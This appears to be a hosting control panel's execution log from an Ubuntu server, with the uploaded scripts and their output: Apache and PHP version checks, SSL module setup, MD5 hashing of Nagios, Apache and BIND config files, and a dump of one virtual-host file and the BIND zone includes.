	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2025-08-26 14:57:56: 

chmod 755 /tmp/pkp304035; /tmp/pkp304035; rm /tmp/pkp304035



[apache2]
Server version: Apache/2.4.52 (Ubuntu)
Server built:   2025-08-11T12:10:10
Server's Module Magic Number: 20120211:126
Server loaded:  APR 1.7.0, APR-UTIL 1.6.1
Compiled using: APR 1.7.0, APR-UTIL 1.6.1
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 854294
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      854294  0.0  0.3 223596 29780 ?        Ss   09:55   0:00 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2025-08-26 14:57:57: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'desktop',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 22.04.5 LTS',
  'rel' => '22.04.5',
  'mac' => 0,
  'distro' => 'ubuntu',
  'swapfile' => '/swapfile',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'mime_module',
      22 => 'mpm_prefork_module',
      23 => 'negotiation_module',
      24 => 'php_module',
      25 => 'reqtimeout_module',
      26 => 'rewrite_module',
      27 => 'setenvif_module',
      28 => 'socache_shmcb_module',
      29 => 'ssl_module',
      30 => 'status_module',
    ),
  ),
)


2025-08-26 14:57:57: 

PUT: /tmp/pkp208293

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2025-08-26 14:57:57: 

chmod 755 /tmp/pkp208293; /tmp/pkp208293; rm /tmp/pkp208293

(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)



2025-08-26 14:57:58: 

PUT: /tmp/pkp858505

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2025-08-26 14:57:58: 

chmod 755 /tmp/pkp858505; /tmp/pkp858505; rm /tmp/pkp858505



[php8.1]
php=/usr/bin/php8.1
fpm=
version=8.1.33


2025-08-26 14:58:00: 

PUT: /tmp/pkp256061

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2025-08-26 14:58:00: 

chmod 755 /tmp/pkp256061; /tmp/pkp256061; rm /tmp/pkp256061

(gzipped output)




2025-08-26 14:58:01: 

PUT: /tmp/pkp529168

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2025-08-26 14:58:01: 

chmod 755 /tmp/pkp529168; /tmp/pkp529168; rm /tmp/pkp529168



status=ok


2025-08-26 14:58:02: 

PUT: /tmp/pkp611789

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-08-26 14:58:02: 

chmod 755 /tmp/pkp611789; /tmp/pkp611789; rm /tmp/pkp611789

(gzipped output)


MD5(/etc/apache2/ports.conf)= a961f23471d985c2b819b652b7f64321
MD5(/etc/apache2/apache2.conf)= 20589b50379161ebc8cb35f761af2646
MD5(/etc/apache2/sites-available/000-default.conf)= f3066f67070ab9b1ad9bab81ca05330a
MD5(/etc/apache2/sites-available/pjy_desktop_us.conf)= 0437bc933db2ebb1dffb132151d784c7
MD5(/etc/ssl/certs/4156a23dadb55e7d1d1138ffce1ca22a.crt)= 4b3d257734e7da5f2fddb670d792402e
MD5(/etc/apache2/sites-available/default-ssl.conf)= 801f4c746a88b4228596cb260a4220c4
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= 6fb555fa2b39e6998378eb892ca8f3a3
MD5(/etc/apache2/sites-available/cityelectric_www_site.conf)= 47d6605a7fcafc51474c3d37430bbb4d
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/pjy_desktop_us.conf)= /etc/apache2/sites-available/pjy_desktop_us.conf
link(/etc/apache2/sites-enabled/cityelectric_www_site.conf)= /etc/apache2/sites-available/cityelectric_www_site.conf


2025-08-26 14:58:03: 

PUT: /tmp/pkp219963

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/cityelectric_www_site.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-08-26 14:58:03: 

chmod 755 /tmp/pkp219963; /tmp/pkp219963; rm /tmp/pkp219963

(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/cityelectric_www_site.conf	503

<VirtualHost *:80>
    ServerName	cityelectric.site
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/cityelectric_www
    <Directory /var/www/cityelectric_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/cityelectric/www_access.log combined
    ErrorLog	/var/log/apache2/cityelectric/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>






2025-08-26 14:58:05: Establishing a connection
2025-08-26 14:58:05: 

PUT: /tmp/pkp611617

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-08-26 14:58:05: 

runuser -l bind -s /bin/bash -c '/tmp/pkp611617; rm /tmp/pkp611617'

2025-08-26 14:58:05: 
2025-08-26 14:58:05: 

PUT: /tmp/pkp259374

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/bind/named.conf.local')
    show_file('/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf')
    show_file('/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-08-26 14:58:05: 

chmod 755 /tmp/pkp259374; /tmp/pkp259374; rm /tmp/pkp259374

2025-08-26 14:58:05: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/bind/named.conf.local	4844
//
// Do any local configuration here
//

// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";

include "0299c0c61c7ba070834ba2dd758c9c51.conf"; # biblealive.us
include "25162dac9ffbcb0be59287b7a9bde7f4.conf"; # carelinks.net
include "b74ce055b83f6cfebe00ab1c0c5d2af2.conf"; # hostz.org
include "54524ffc708f1919654eee3e8e8e8adb.conf"; # carelinks.org
include "265e805c99c946847c9512ae0a2f1979.conf"; # Unknown Zone
include "94cdb93348589672ae2f4f7d5cf38aba.conf"; # christadelphia.net
include "695c92f1e52b32224b4afd59cf37d6f1.conf"; # heaster.org
include "a9ce89f9cbbf500822cbde90492a4b59.conf"; # c-c-n.net
include "1a70a64890644d614d006709f4d07011.conf"; # bookofjames.info
include "76868f6e068adf5f82f053b795932883.conf"; # aletheiacollege.net
include "b64ede8e027cbe0b900c74b7dad61fc6.conf"; # hristadelfiane.org
include "a6604325e1e95bb658a4876ded716488.conf"; # realchrist.info
include "c23c0a067c65fe695faa3f188e27944c.conf"; # realdevil.info
include "0a6ad15e551aafb493c6806effeddcf2.conf"; # thisisyourbible.info
include "7695e2001b9158b46e53b17c49af86b5.conf"; # murrayyoung.com
include "063b25bf16976ce1a2c836785c63433d.conf"; # bible-basics.info
include "e3a645e9cd9a48a14dd8493b70d9eeb7.conf"; # n-e-v.info
include "62fb2e372bc0a32115fbc83c762f20b5.conf"; # biblebooks.org.uk
include "9b1deba5ba095e87244f37a8e3f127c3.conf"; # exjw.org.uk
include "32d4fd93b17a2291b23647ec24f8da21.conf"; # vards.info
include "de5342f930e16cce802d35118a2fa8d3.conf"; # waltonecclesia.info
include "6f67b388e6765da580018fda67333d25.conf"; # tacomaecclesia.net
include "9c176806fc238e21c915b63d0649fc22.conf"; # shiretune.com.au
include "1e54f6c33ee3ca2eea403fca319b0ee4.conf"; # r-b-c.org
include "2debffd89b49e0229c33680cd8802ecb.conf"; # maminas.info
include "7be199ed365109a6d40950ee59d1f556.conf"; # carelinksoutreach.info
include "eebb27648fd2a6fb3ddcc9ab90e7112b.conf"; # baptizo.info
include "1f505a75628761de494a35ab69db20dd.conf"; # carelinksaustralia.info
include "88c5638dfb94d699fd48b1feb9d60cff.conf"; # biblebasicsonline.com
include "a4eb3fca977ca6015dcdbcabf7d11d48.conf"; # thinkpinkpixels.com
include "3c5ac3f042be6256f4781cbc416678be.conf"; # dalmenynaroomabushwalkers.info
include "c0f3c184d08b11c006e309fb0115bdd6.conf"; # osnovybiblii.info
include "5228c1dbadd38e40039230194a4f9e79.conf"; # osnowybiblii.info
include "a991f2a33195300884cfb80603e68095.conf"; # gospelstudies.net
include "3c4b5f94d47374f5ce45f7155d4ae5a8.conf"; # christadelphianfraternal.info
include "35d18abc44b089ffa23e3e2f0807ece6.conf"; # theyoungdesigners.us
include "40b78c826a55a9eeca31786e0586fee9.conf"; # islamicstate.info
include "93997bd832de09ba4e56713eaa81d340.conf"; # christadelphian.video
include "320b669d287ba63741ff57cf3e690770.conf"; # whysuffering.info
include "11674aee41a9cabe2304d659e10b5dd0.conf"; # drewmarshall.ca
include "0766fc100eec8a6853d7ddbdaedbb9bf.conf"; # freebible.info
include "05b92d9466be1ff60f99171b12b904c0.conf"; # bible.boston
include "d15154fdc73f852a93983b8efa978ccd.conf"; # carelinks-uk.org
include "ffb28d26a57997ceef6aa88af3ca2eb1.conf"; # siiguides.com
include "c92f7952a5e58a40373c6ea0395bbe60.conf"; # patientappsinc.com
include "69d0916aecf832c706b4d0e9097de457.conf"; # simplyinteractiveinc.com
include "9102cebf40552256181ade1b5794bce9.conf"; # vela.work
include "916eb0791d6219f551785c0d0cdb6551.conf"; # zoomchat.net
include "3d2ec12df06edc90dfcd3e90b9defc61.conf"; # stoughton.link
include "4e946d31d5dbbaea14c1f8a8cc65c592.conf"; # pjy.us
include "f526c54ffce876cc4878737cf365bd79.conf"; # the-computer-site.com
include "03d5b5f89be357e1588146db824a75a9.conf"; # hopeinstoughton.org
include "97b02af5a57f21e16869add9e7536c63.conf"; # patientapps.net
include "9ab47e96627d9522a0b8df2ee4322802.conf"; # patientapps.co
include "a1c902386bae85264c8bcd7d46d289a9.conf"; # emessage.email
include "1f055662da24bcf52398528dbf5a1c4f.conf"; # cityelectric.online
include "b77f3ffec345cac4b4296eed63420be1.conf"; # myapp.care
include "7312c9cb95b4bacf912d8bac1ea438cc.conf"; # vmix.com
include "6e7fd231117136482801b6740f7def61.conf"; # theyoungdesigners.com
include "ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf"; # bucketgigs.ca
include "82e710fb4c28419815112803356c4f79.conf"; # croydonchurch.info
include "d365b77ad7e9376e619973b277c11515.conf"; # kjvdictionary.org
include "b579aafafbcd32ebd30996c14e2929d0.conf"; # ineedtosaythis.com
include "e0dc27e9ac6120dd4b9b149abf3e317e.conf"; # dgmarshall.ca
include "210d2f210e4452e9446e4b9a5969250a.conf"; # dgmarshall.com
include "f9446b138d2c5ba2c536837db166189d.conf"; # hillrunfarm.ca
include "39a853d14cf222b11389743f34305dc2.conf"; # sosretreatscanada.com
include "28a5e75a7da01b086708dce3eb004d3c.conf"; # carelinks.org.uk
include "73c7599fdd5ae53f1a22acdec3f96f94.conf"; # cityelectric.site


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf	214
# this is an automatically created file: manual changes will be overwritten.
zone "cityelectric.site" IN {
  ##owner 0;
  type master;
  file "73c7599fdd5ae53f1a22acdec3f96f94.txt";
    allow-update { none; };

};


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt	337
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
cityelectric.site.       		 IN    SOA      	cityelectric.site. hostmaster.cityelectric.site. ( 131242180 14400 3600 14400 3600 )
cityelectric.site.       		 IN    NS       	ns1.hostz.org.
cityelectric.site.       		 IN    NS       	ns2.hostz.org.






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
